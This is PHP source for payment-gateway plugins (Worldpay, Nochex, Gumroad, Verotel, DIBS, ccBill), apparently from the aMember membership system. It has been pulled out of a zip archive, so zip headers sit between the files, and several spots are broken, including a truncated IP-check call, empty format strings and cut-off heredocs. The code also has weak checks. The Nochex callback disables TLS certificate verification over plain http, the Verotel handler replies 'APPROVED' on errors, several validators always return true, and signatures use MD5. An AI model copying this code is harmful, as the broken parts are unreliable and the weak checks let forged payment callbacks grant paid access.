(!$transaction) { throw new Am_Exception_InputError("Request not handled - createTransaction() returned null"); } $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Exception $e) { if ($invoiceLog) $invoiceLog->add($e); throw $e; } if ($invoiceLog) $invoiceLog->setProcessed(); if ($transaction->isFirst()) { // Redirect user to thanks page. $view = new Am_View($this->getDi()); $view->assign('url', $view->url('thanks',array('id'=>$transaction->getInvoice()->getSecureId('THANKS')))); $view->assign('text', ___('Thank you for Signing up')); $view->display('redirect.phtml'); } }catch(Exception $e) { $message = $e->getMessage(); $view = new Am_View($this->getDi()); $view->assign('error', $e->getMessage()); $view->assign('is_html', false); $view ->placeholder("head-start") ->prepend( sprintf( '', (empty($_SERVER['HTTPS']) ? 'http' : 'https'), Am_Html::escape($_SERVER['HTTP_HOST'] ) ) ); $this->invoice = $transaction->getInvoice(); if($this->invoice) $view ->placeholder("head-start") ->prepend( sprintf('', $this->getCancelUrl()) ); $view->display('error.phtml'); } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Worldpay($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Worldpay extends Am_Paysystem_Transaction_Incoming { protected $isfirst = false; public function isFirst() { return $this->isfirst; } public function getInvoice() { return $this->invoice; } public function findInvoiceId() { return $this->request->getFiltered('cartId'); } public function getUniqId() { return $this->request->getFiltered('transId'); } public function getReceiptId() { return $this->request->getFiltered('transId'); } public function validateSource() { $this->_checkIp(<<request->get('transStatus') == 'C') throw new Am_Exception_Paysystem_TransactionInvalid("Transaction Cancelled!"); if ($this->request->get('transStatus') != 'Y') throw new Am_Exception_Paysystem_TransactionInvalid("Status is not [Y]"); if (!$this->getPlugin()->getConfig('testing') && $this->request->get('testMode')) throw new Am_Exception_Paysystem_TransactionInvalid("Test Mode Postback while plugin is not in test mode"); if ($this->getPlugin()->getConfig('installation_id') != $this->request->get('instId')) throw new Am_Exception_Paysystem_TransactionInvalid("Foreign transaction - not our instId"); return true; } public function validateTerms() { if ($this->invoice->status == Invoice::PENDING) $this->assertAmount($this->invoice->first_total, $this->getAmount(), 'First Total'); else $this->assertAmount($this->invoice->second_total, $this->getAmount(), 'Second Total'); return true; } public function getAmount() { return $this->request->get('amount'); } public function processValidated() { if ($this->invoice->status == Invoice::PENDING) $this->isfirst = true; if ($this->getAmount() > 0) $this->invoice->addPayment($this); elseif ($this->invoice->status == Invoice::PENDING) $this->invoice->addAccessPeriod($this); } } PK\Ypayment/nochex.phpnu[getConfig('merchant_id'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant_id', array('size' => 20)) ->setLabel(___("Nochex Merchant ID\n" . " Your default merchant id is the email address you use with your Nochex account")) ->addRule('required'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times && ($invoice->first_period != $invoice->second_period)) { return "Nochex cannot handle products with different first and second period"; } if ($invoice->rebill_times && ($invoice->first_total != $invoice->second_total)) { return "Nochex cannot handle products with different first and second amount"; } return parent::isNotAcceptableForInvoice($invoice); } public function _process(\Invoice $invoice, \Am_Mvc_Request $request, \Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->merchant_id = $this->getConfig('merchant_id'); $a->amount = doubleval($invoice->first_total); $a->description = $invoice->getLineDescription(); if ($invoice->rebill_times) { $a->recurring_payment = 1; $p = new Am_Period($invoice->second_period); $a->interval_number = $p->getCount(); $a->interval_unit = strtoupper($p->getUnit()); $a->recurrence_number = ($invoice->rebill_times == 99999 ? 'N' : $invoice->rebill_times); } $a->order_id = $invoice->public_id; $a->success_url = $this->getReturnUrl(); $a->cancel_url = $this->getCancelUrl(); $a->callback_url = $this->getPluginUrl('ipn'); $a->billing_first_name = $invoice->getFirstName(); $a->billing_last_name = $invoice->getLastName(); $a->billing_address_street = $invoice->getStreet(); $a->billing_city = $invoice->getCity(); $a->billing_county = $invoice->getState(); $a->billing_country = $invoice->getCountry(); $a->billing_postcode = $invoice->getZip(); $a->email_address = $invoice->getEmail(); $result->setAction($a); } public function createTransaction(\Am_Mvc_Request $request, \Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Nochex($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } } class Am_Paysystem_Transaction_Nochex extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('order_id'); } public function getUniqId() { return $this->request->get('transaction_id'); } public function validateSource() { $req = $this->plugin->createHttpRequest(); $req->setConfig('ssl_verify_peer', false); $req->setConfig('ssl_verify_host', false); $req->setUrl('http://www.nochex.com/nochex.dll/apc/apc'); foreach ($this->request->getRequestOnlyParams() as $key => $value) $req->addPostParameter($key, $value); $req->setMethod(Am_HttpRequest::METHOD_POST); $resp = $req->send(); if (($resp->getStatus() != 200) || ($resp->getBody() != "AUTHORISED")) throw new Am_Exception_Paysystem("Wrong callback received, nochex response: " . $resp->getBody() . '=' . $resp->getStatus()); return ($this->request->get('to_email') == $this->plugin->getConfig('merchant_id')); } public function validateStatus() { return true; } public function validateTerms() { return (doubleval($this->request->get('amount')) == doubleval($this->invoice->first_total)); } function processValidated() { $this->invoice->addPayment($this); } } PK\٘--payment/gumroad.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'gumroad_product_id', "Gumroad product ID", "" , array(/* ,'required' */) )); } function init() { parent::init(); if (!$this->getDi()->store->get(self::KEY)) { $this->getDi()->store->set(self::KEY, $this->getDi()->security->randomString(5)); } // Add route } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("seller_id") ->setLabel("Gumroad seller ID"); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function canAutoCreate() { return true; } public function getReadme() { $url = $this->getDi()->url('payment/gumroad/ipn',array('key'=>$this->getDi()->store->get(self::KEY)),true,2); return <<Gumroad integration Ping URL that you need to specify in your gumroad account is: $url CUT; } function createTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gumroad($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Gumroad extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name' => 'full_name', 'email' => 'email', 'user_external_id' => 'email', ); public function generateInvoiceExternalId() { return $this->request->get('sale_id'); } public function autoCreateGetProducts() { $item_name = $this->request->get('product_id'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('gumroad_product_id', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function getReceiptId() { return $this->request->get('order_number'); } public function getAmount() { return moneyRound($this->request->get('price')); } public function getUniqId() { return @$this->request->get('order_number'); } public function validateSource() { return ( ($this->getPlugin()->getConfig('seller_id') == $this->request->get('seller_id')) && ($_GET['key'] == $this->getPlugin()->getDi()->store->get(Am_Paysystem_Gumroad::KEY)) ); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); } public function findInvoiceId() { return $this->request->get('sale_id'); } } PK\^bL"L"payment/verotel.phpnu[getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('verotel_id', "VeroTel Site ID", "")); } public function _initSetupForm(Am_Form_Setup $form) { $form->addInteger('merchant_id', array('size'=>20,'maxlength'=>20)) ->setLabel('Your Verotel Merchant ID#'); $form->addInteger('site_id') ->setLabel('Verotel Site Id'); $form->addAdvCheckbox('dynamic_pricing')->setLabel("Allow Dynamic Pricing\n". "this option does not allow to use recurring"); $form->addText('secret') ->setLabel("Private key\n" . "required for dynamic pricing only"); } public function isConfigured() { return strlen($this->getConfig('merchant_id')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if($this->getConfig('dynamic_pricing')) { $a = new Am_Paysystem_Action_Redirect(self::DYNAMIC_URL); $a->version = 1; $a->shopID = $this->getConfig('site_id'); $a->priceAmount = $invoice->first_total; $a->priceCurrency = $invoice->currency; $a->description = $invoice->getLineDescription(); $a->referenceID = $invoice->public_id; $a->signature = sha1($q = $this->getConfig('secret').":description=" . $invoice->getLineDescription() . ":priceAmount=" . $invoice->first_total . ":priceCurrency=" . $invoice->currency . ":referenceID=" . $invoice->public_id . ":shopID=" . $this->getConfig('site_id') . ":version=1"); } else { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->verotel_id = $this->getConfig('merchant_id'); $a->verotel_product = $invoice->getItem(0)->getBillingPlanData("verotel_id") ? $invoice->getItem(0)->getBillingPlanData("verotel_id") : $this->getConfig('site_id'); $a->verotel_website = $invoice->getItem(0)->getBillingPlanData("verotel_id") ? $invoice->getItem(0)->getBillingPlanData("verotel_id") : $this->getConfig('site_id'); $a->verotel_usercode = $invoice->getLogin(); $a->verotel_passcode = 'FromSignupForm';//$invoice->getUser()->getPlaintextPass(); $a->verotel_custom1 = $invoice->public_id; } $a->filterEmpty(); $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try{ parent::directAction($request, $response, $invokeArgs); } catch(Am_Exception_Paysystem $e) { $this->getDi()->errorLogTable->logException($e); print "APPROVED"; exit(); } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $res = explode(":", $request->get('vercode')); switch($request->get('trn', @$res[3])){ case Am_Paysystem_Transaction_Verotel::ADD : case Am_Paysystem_Transaction_Verotel::REBILL : return new Am_Paysystem_Transaction_Verotel_Charge($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Verotel::DELETE : return new Am_Paysystem_Transaction_Verotel_Delete($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Verotel::CANCEL : return new Am_Paysystem_Transaction_Verotel_Cancellation($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Verotel::MODIFY : return new Am_Paysystem_Transaction_Verotel_Modify($this, $request, $response,$invokeArgs); default : return new Am_Paysystem_Transaction_Verotel_Dynamic($this, $request, $response,$invokeArgs); } } function getReadme() { return <<Verotel payment plugin configuration Configure your Verotel Account - contact verotel support and ask them to set: Remote User Management script URL to %root_url%/payment/verotel/ipn Run a test transaction to ensure everthing is working correctly. CUT; } } class Am_Paysystem_Transaction_Verotel extends Am_Paysystem_Transaction_Incoming { const ADD = 'add'; const REBILL = 'rebill'; const MODIFY = 'modify'; const DELETE = 'delete'; const CANCEL = 'cancel'; protected $vercode; protected $ip = array( '195.20.32.202' ); public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->vercode = explode(":", $request->get('vercode')); parent::__construct($plugin, $request, $response, $invokeArgs); } public function findInvoiceId() { return $this->request->get('custom1',@$this->vercode[5]); } public function getUniqId() { return $this->request->get("trn_id",@$this->vercode[6]); } public function validateSource() { $this->_checkIp($this->ip); return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { print "APPROVED"; } } class Am_Paysystem_Transaction_Verotel_Charge extends Am_Paysystem_Transaction_Verotel { //uncomment to allow users to change product on verotel site /*public function validateTerms() { if($this->invoice->isFirstPayment()) { if(doubleval($this->request->get("amount")) == $this->invoice->first_total ) return true; if($bp = Am_Di::getInstance()->billingPlanTable->findFirstBy(array('first_price' => doubleval($this->request->get("amount"))))) { Am_Di::getInstance()->db->query("DELETE from ?_invoice_item where invoice_id=?",$this->invoice->invoice_id); $this->invoice->add(Am_Di::getInstance()->productTable->load($bp->product_id),1); $this->invoice->calculate(); $this->invoice->update(); return true; } return false; } else return true; }*/ public function processValidated() { $this->invoice->addPayment($this); parent::processValidated(); } } class Am_Paysystem_Transaction_Verotel_Delete extends Am_Paysystem_Transaction_Verotel { public function processValidated() { $this->invoice->setCancelled(true); $this->invoice->stopAccess($this); parent::processValidated(); } } class Am_Paysystem_Transaction_Verotel_Cancellation extends Am_Paysystem_Transaction_Verotel { public function processValidated() { $this->invoice->setCancelled(true); parent::processValidated(); } } class Am_Paysystem_Transaction_Verotel_Modify extends Am_Paysystem_Transaction_Verotel { public function processValidated() { parent::processValidated(); } } class Am_Paysystem_Transaction_Verotel_Dynamic extends Am_Paysystem_Transaction_Incoming { protected $ip = array( '195.20.32.202', '217.115.203.18', '89.187.131.244', '93.185.97.248' ); public function findInvoiceId() { return $this->request->get('referenceID'); } public function getUniqId() { return ($this->request->get("transactionID") ?: $this->request->get("saleID")); } public function validateSource() { $this->_checkIp($this->ip); return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); print "OK"; } }PK\payment/dibs-payment-window.phpnu[ '208', 'EUR' => '978', 'USD' => '840', 'GBP' => '826', 'SEK' => '752', 'AUD' => '036', 'CAD' => '124', 'ISK' => '352', 'JPY' => '392', 'NZD' => '554', 'NOK' => '578', 'CHF' => '756', 'TRY' => '949'); public function supportsCancelPage() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant', array('size' => 20, 'maxlength' => 16)) ->setlabel("Shop identification\n". "(Merchant ID)") ->addRule('required'); $form->addElement('textarea', 'hmackey', array('rows' => 4, 'style' => 'width:30%')) ->setLabel("HMAC key") ->addRule('required'); $form->addSelect('lang', array(), array('options' => array( 'da' => 'Danish', 'sv' => 'Swedish', 'nb' => 'Norwegian', 'en' => 'English' )))->setLabel("The payment window language"); $form->addAdvCheckbox('test')->setLabel("Test Mode Enabled"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::WINDOW_URL); $currency = $this->getCurrencyCode($invoice); /* Mandatory input parameters: */ $formKeyValues = array(); $formKeyValues['merchant'] = $this->getConfig('merchant'); $formKeyValues['amount'] = intval($invoice->first_total * 100); $formKeyValues['currency'] = $currency; $formKeyValues['orderid'] = $invoice->public_id; $formKeyValues['acceptReturnUrl'] = $this->getReturnUrl($request); /* Optional input parameters: */ $formKeyValues['cancelreturnurl'] = $this->getCancelUrl($request); $formKeyValues['callbackurl'] = $this->getPluginUrl('ipn'); $formKeyValues['language'] = $this->getConfig('lang'); $formKeyValues['addFee'] = 1; $formKeyValues['capturenow'] = 1; /* Invoice's parameters: */ $formKeyValues['oiTypes'] = 'QUANTITY;DESCRIPTION;AMOUNT;ITEMID'; $formKeyValues['oiNames'] = 'Items;Description;Amount;ItemId'; $i = 0; foreach($invoice->getItems() as $item) { $row_name = "oiRow".++$i; $formKeyValues[$row_name] = $item->qty.";".$item->item_title.";".intval($item->first_total * 100).";".$item->item_id; } if($this->getConfig('test')) $formKeyValues['test'] = 1; foreach($formKeyValues as $k=>$v) { $a->addParam($k, $v); } $a->addParam('MAC', $this->calculateMac($formKeyValues, $this->getConfig('hmackey'))); $result->setAction($a); } function createMessage($formKeyValues) { $string = ""; if(is_array($formKeyValues)) { ksort($formKeyValues); foreach($formKeyValues as $key => $value) { if($key != "MAC") { if(strlen($string) > 0) $string.="&"; $string.= "$key=$value"; } } return $string; } else return null; } function hextostr($hex) { $string = ""; foreach(explode("\n", trim(chunk_split($hex, 2))) as $h) { $string.=chr(hexdec($h)); } return $string; } function calculateMac($formKeyValues, $HmacKey) { if(is_array($formKeyValues)) { $messageToBeSigned = $this->createMessage($formKeyValues); $MAC = hash_hmac("sha256", $messageToBeSigned, $this->hextostr($HmacKey)); return $MAC; } else return null; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_DibsPaymentWindow($this, $request, $response, $invokeArgs); } public function getSupportedCurrencies() { return array( 'DKK', 'USD', 'GBP', 'SEK', 'AUD', 'CAD', 'ISK', 'JPY', 'NZD', 'NOK', 'CHF', 'TRY'); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getCurrencyCode($invoice) { return $this->currency_codes[strtoupper($invoice->currency)]; } function getReadme() { return <<DIBS Payment Plugin Configuration 1. Login to DIBS Administration and then go to "integration" -> Return Values. 2. Please check "orderid" parameter. CUT; } } class Am_Paysystem_Transaction_DibsPaymentWindow extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('orderid'); } public function getUniqId() { return $this->request->get("transaction"); } public function validateSource() { $request = $this->request; $p = $request->getParams(); foreach($p as $k=>$v) { if(preg_match('/(^plugin_id$)|(^action$)|(^module$)|(^controller$)|(^type$)/', $k)) { continue; } $params[$k] = $v; } $MAC = $this->getPlugin()->calculateMac($params, $this->getPlugin()->getConfig('hmackey')); if ($MAC != $this->request->get('MAC')) { throw new Am_Exception_Paysystem_TransactionInvalid("IPN validation failed: Mac is incorrect!"); } return true; } public function validateStatus() { $statuses = array('ACCEPTED', 'PENDING'); if(in_array($this->request->get("status"), $statuses)) return true; else return false; } public function validateTerms() { $invoice = $this->invoice; if($this->request->get("amount") != intval($invoice->first_total * 100)) return false; else return true; } } PK\p&payment/ccbill.phpnu[ 840, 'AUD' => 036, 'EUR' => 978, 'GBP' => 826, 'JPY' => 392, 'CAD' => 124 ); public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ccbill_product_id', "ccBill Product ID", "you must create the same product in ccbill for CC billing. Enter pricegroup here")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ccbill_subaccount_id', "ccBill Subaccount ID", "keep empty to use default value (from config)")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ccbill_form_id', "ccBill Form ID", "enter ccBill Form ID")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ccbill_flexform_id', "ccBill FlexForm ID", 'like "32be552a-7f5b-417c-b458-611e955927fd"')); } public function canAutoCreate() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('account')->setLabel("Your Account Id in ccbill\n" . 'your account number on ccBill, like 112233'); $form->addText('subaccount_id')->setLabel("Subaccount number\n" . 'like 0001 or 0002'); $form->addText('datalink_user')->setLabel("DataLink Username\n" . 'read ccBill plugin readme (11) about'); $form->addText('datalink_pass')->setLabel("DataLink Password\n" . 'read ccBill plugin readme (11) about'); $form->addAdvCheckbox('dynamic_pricing')->setLabel('Allow Dynamic Pricing'); $form->addText('salt')->setLabel("Salt\n" . 'Contact ccBill client support and receive the salt value, OR Create your own salt value (up to 32 alphanumeric characters) and provide it to ccBill client support.'); } function getDays($period) { $period = new Am_Period($period); switch($period->getUnit()){ case Am_Period::DAY: return $period->getCount(); case Am_Period::MONTH: return $period->getCount()*30; case Am_Period::YEAR: return $period->getCount()*365; case Am_Period::FIXED: return 3; //it does not matter, just return minimum allowed value } } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $subaccount_id = $invoice->getItem(0)->getBillingPlanData("ccbill_subaccount_id") ? $invoice->getItem(0)->getBillingPlanData("ccbill_subaccount_id") : $this->getConfig('subaccount_id'); $cascade_id = $invoice->getItem(0)->getBillingPlanData("ccbill_cascade_id"); $a = new Am_Paysystem_Action_Redirect($cascade_id ? self::CASCADE_URL : self::URL); if($cascade_id) $a->cascadeId = $cascade_id; $a->clientAccnum = $this->getConfig('account'); $a->clientSubacc = $subaccount_id; $a->formName = $invoice->getItem(0)->getBillingPlanData("ccbill_form_id"); $a->username = $user->login; $a->email = $invoice->getEmail(); $a->customer_fname = $invoice->getFirstName(); $a->customer_lname = $invoice->getLastName(); $a->address1 = $invoice->getStreet(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->zipcode = $invoice->getZip(); $a->phone_number = $invoice->getPhone(); $a->payment_id = $invoice->public_id; $a->customVar1 = $invoice->public_id; $a->invoice = $invoice->getSecureId("THANKS"); $a->referer = $invoice->getUser()->aff_id; if($flexform_id = $invoice->getItem(0)->getBillingPlanData("ccbill_flexform_id")) { $a->setUrl('https://api.ccbill.com/wap-frontflex/flexforms/'.$flexform_id); $a->initialPrice = $invoice->first_total; $a->initialPeriod = $this->getDays($invoice->first_period); $a->currencyCode = $this->currency_codes[$invoice->currency]; if($invoice->rebill_times) { if($invoice->rebill_times == IProduct::RECURRING_REBILLS) $invoice->rebill_times = 99; $a->recurringPrice = $invoice->second_total; $a->recurringPeriod = $this->getDays($invoice->second_period); $a->numRebills = $invoice->rebill_times; $a->formDigest = md5($s = $invoice->first_total.$this->getDays($invoice->first_period).$invoice->second_total.$this->getDays($invoice->second_period).$invoice->rebill_times.$a->currencyCode.$this->getConfig('salt')); } else { $a->formDigest = md5($s = $invoice->first_total.$this->getDays($invoice->first_period).$a->currencyCode.$this->getConfig('salt')); } } elseif($this->getConfig('dynamic_pricing')) { $a->country = $invoice->getCountry(); $a->formPrice = $invoice->first_total; $a->formPeriod = $this->getDays($invoice->first_period); $a->currencyCode = $this->currency_codes[$invoice->currency]; if($invoice->rebill_times) { if($invoice->rebill_times == IProduct::RECURRING_REBILLS) $invoice->rebill_times = 99; $a->formRecurringPrice = $invoice->second_total; $a->formRecurringPeriod = $this->getDays($invoice->second_period); $a->formRebills = $invoice->rebill_times; $a->formDigest = md5($s = $invoice->first_total.$this->getDays($invoice->first_period).$invoice->second_total.$this->getDays($invoice->second_period).$invoice->rebill_times.$a->currencyCode.$this->getConfig('salt')); } else { $a->formDigest = md5($s = $invoice->first_total.$this->getDays($invoice->first_period).$a->currencyCode.$this->getConfig('salt')); } } else { $a->country = $invoice->getCountry(); $a->subscriptionTypeId = $invoice->getItem(0)->getBillingPlanData("ccbill_product_id"); $a->allowedTypes = $invoice->getItem(0)->getBillingPlanData("ccbill_product_id"); $a->allowedCurrencies = $this->currency_codes[$invoice->currency]; } $result->setAction($a); } function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $this->getDi()->errorLogTable->log("ccBill plugin error: Datalink is not configured!"); return; } //https://datalink.ccbill.com/utils/subscriptionManagement.cgi?clientSubacc=&usingSubacc=0005&subscriptionId=1071776966&username=ccbill12&password=test123&returnXML=1&action=cancelSubscription&clientAccnum=923590 $payments = $invoice->getPaymentRecords(); $subscriptionId = $payments[0]->transaction_id; $vars = array( 'clientAccnum' => $this->getConfig('account'), 'clientSubacc' => $this->getConfig('subaccount_id'), 'usingSubacc' => $this->getConfig('subaccount_id'), 'returnXML' => 1, 'action' => 'cancelSubscription', 'subscriptionId' => $subscriptionId, 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = self::DATALINK_SUBSCR_MANAGEMENT . '?' . http_build_query($vars, '', '&')); $response = $r->send(); if (!$response) { $this->getDi()->errorLogTable->log('ccBill Subscription Management error: Unable to contact datalink server'); throw new Am_Exception_InternalError('ccBill Subscription Management error: Unable to contact datalink server'); } $resp = $response->getBody(); // Log datalink requests; $this->getDi()->errorLogTable->log(sprintf("ccBill SMS debug:\n%s\n%s", $requestString, $resp)); $xml = simplexml_load_string($resp); if((string)$xml != "1") throw new Am_Exception_InternalError('ccBill Subscription Management error: Incorrect response received while attempting to cancel subscription!'); $result->setSuccess(); } function doUpgrade(Invoice $invoice, InvoiceItem $item, Invoice $newInvoice, ProductUpgrade $upgrade) { if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $this->getDi()->errorLogTable->log("ccBill plugin error: Datalink is not configured!"); return; } $payments = $invoice->getPaymentRecords(); $subscriptionId = $payments[0]->transaction_id; $vars = array( 'clientAccnum' => $this->getConfig('account'), // 'clientSubacc' =>$this->getConfig('subaccount_id'), 'usingSubacc' => $this->getConfig('subaccount_id'), 'subscriptionId' => $subscriptionId, 'newClientAccnum' => $this->getConfig('account'), 'newClientSubacc' => $this->getConfig('subaccount_id'), 'sharedAuthentication' => 1, 'action' => 'chargeByPreviousTransactionId', 'currencyCode' => $this->currency_codes[$invoice->currency], 'initialPrice' => $newInvoice->first_total, 'initialPeriod' => $this->getDays($newInvoice->first_period), // 'specialOffer' => 0, // 'prorate' => 1, 'returnXML' => 1, 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); if($newInvoice->rebill_times) { $vars['recurringPrice'] = $newInvoice->second_total; $vars['recurringPeriod'] = $this->getDays($newInvoice->second_period); $vars['rebills'] = $newInvoice->rebill_times == IProduct::RECURRING_REBILLS ? 99 : $newInvoice->rebill_times; }else{ $vars['recurringPrice'] = 0; $vars['recurringPeriod'] = 0; $vars['rebills'] = 0; } $r = new Am_HttpRequest($requestString = "https://bill.ccbill.com/jpost/billingApi.cgi?" . http_build_query($vars, '', '&')); $response = $r->send(); if (!$response) { $this->getDi()->errorLogTable->log('ccBill Billing API error: Unable to contact datalink server'); throw new Am_Exception_InternalError('ccBill Billing API error: Unable to contact datalink server'); } $resp = $response->getBody(); // Log datalink requests; $this->getDi()->errorLogTable->log(sprintf("ccBill billing API debug:\n%s\n%s", $requestString, $resp)); $xml = simplexml_load_string($resp); if((string)$xml->approved != "1") throw new Am_Exception_InternalError('ccBill Subscription Management error: Incorrect response received while attempting to upgrade subscription!'); $tr = new Am_Paysystem_Transaction_Ccbill_Upgrade($this, $xml); // Add payment to new invocie; $newInvoice->addPayment($tr); // Cancel old one $invoice->setCancelled(true); } /** function doUpgrade(\Invoice $invoice, \InvoiceItem $item, \Invoice $newInvoice, \ProductUpgrade $upgrade) { // Attempt to upgrade invoice; if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $this->getDi()->errorLogTable->log("ccBill plugin error: Datalink is not configured!"); return; } // https://bill.ccbill.com/jpost/billingApi.cgi?clientAccnum=900100&username=testUser&password=testPass&action=upgradeSubscription&subscriptionId=0108114301000018799&upgradeTypeId=14&upgradeClientAccnum=900100&upgradeClientSubacc=0000&specialOffer=1&sharedAuthentication=1&returnXML=1 $payments = $invoice->getPaymentRecords(); $subscriptionId = $payments[0]->transaction_id; $vars = array( 'upgradeClientAccnum' => $this->getConfig('account'), 'upgradeClientSubacc' => $this->getConfig('subaccount_id'), 'returnXML' => 1, 'action' => 'upgradeSubscription', 'subscriptionId' => $subscriptionId, 'upgradeTypeId' => $newInvoice->getItem(0)->getBillingPlanData("ccbill_product_id"), 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = "https://bill.ccbill.com/jpost/billingApi.cgi?" . http_build_query($vars, '', '&')); $response = $r->send(); if (!$response) { $this->getDi()->errorLogTable->log('ccBill Billing API error: Unable to contact datalink server'); throw new Am_Exception_InternalError('ccBill Billing API error: Unable to contact datalink server'); } $resp = $response->getBody(); // Log datalink requests; $this->getDi()->errorLogTable->log(sprintf("ccBill billing API debug:\n%s\n%s", $requestString, $resp)); $xml = simplexml_load_string($resp); if((string)$xml->approved != "1") throw new Am_Exception_InternalError('ccBill Subscription Management error: Incorrect response received while attempting to upgrade subscription!'); $tr = new Am_Paysystem_Transaction_Ccbill_Upgrade($this, $xml); // Add payment to new invocie; $newInvoice->addPayment($tr); // Cancel old one $invoice->setCancelled(true); } * */ public function getSupportedCurrencies() { return array_keys($this->currency_codes); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ccbill($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ccbill_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<ccBill plugin setup NOTE: If you are using this plugin, you don't need ccBill script to manage .htpasswd file for protected area. aMember will handle all these things for your site. 1. Login into your ccBill account https://webadmin.ccbill.com/ 2. Click QuickLinks: Account Setup : Account Admin 3. Choose an existing Subaccount, or create new one, then return to this step. 4. Create the same subscription types as you have in aMember control panel, make sure that all settings are the same. 5. Create a form for your subscription types. 6. Goto Modify Subaccount - Advanced. Set Background Post Information: Approval Post URL: %root_url%/payment/ccbill/ipn Denial Post URL: %root_url%/payment/ccbill/ipn Click "save" button. Goto Modify Subaccount - Basic Set Approval URL: %root_url%/payment/ccbill/thanks?customVar1=%%customVar1%%&id=%%invoice%% 7. Click on "User Management" link and scroll down to "Username settings". Set: "Username Type" : "USER DEFINED" "Collect Username/Password" : "Display Username, Show Password Text Field" "Min Username Length" : 4 "Max Username Length" : 16 "Min Password Length" : 4 "Max Password Length" : 16 Click "update" button. 8. Click "View Subaccount Info" in left menu to return to subaccount review screen. Remember or write down the following parameters: In top left menu, you will see number, like "911399-0001" Here, 911399 - is your Account ID, and 0001 - is SubAccount ID. Have a look to "Forms" square: you will see form numbers. Write down form numbers with type "CREDIT". "Form name" looks like "22cc" and "Sub. Type ID" looks like "19". 9. Return back to aMember CP admin panel (most possible you're already here). Go to aMember CP -> Setup -> ccBill Enter your account and subaccount id. Click Save. Then go to aMember CP -> Edit Products, create or edit your products and don't forget to enter neccessary ccBill configuration parameters (form ID, ccbill Product ID) for each your aMember Product. 10. Try to run test payments. You may setup a testing account here: https://webadmin.ccbill.com/tools/accountMaintenance/testSignupSettings.cgi And you may find test credit card numbers here: http://ccbillhelp.ccbill.com/content/test_numb_card_tls.htm 11. Contact suport@ccbill.com to obtain username and password for CCBill Data Link System. You will need to send them IP address of your site. If you don't know it, ask your hosting support. CCBill has two options when you 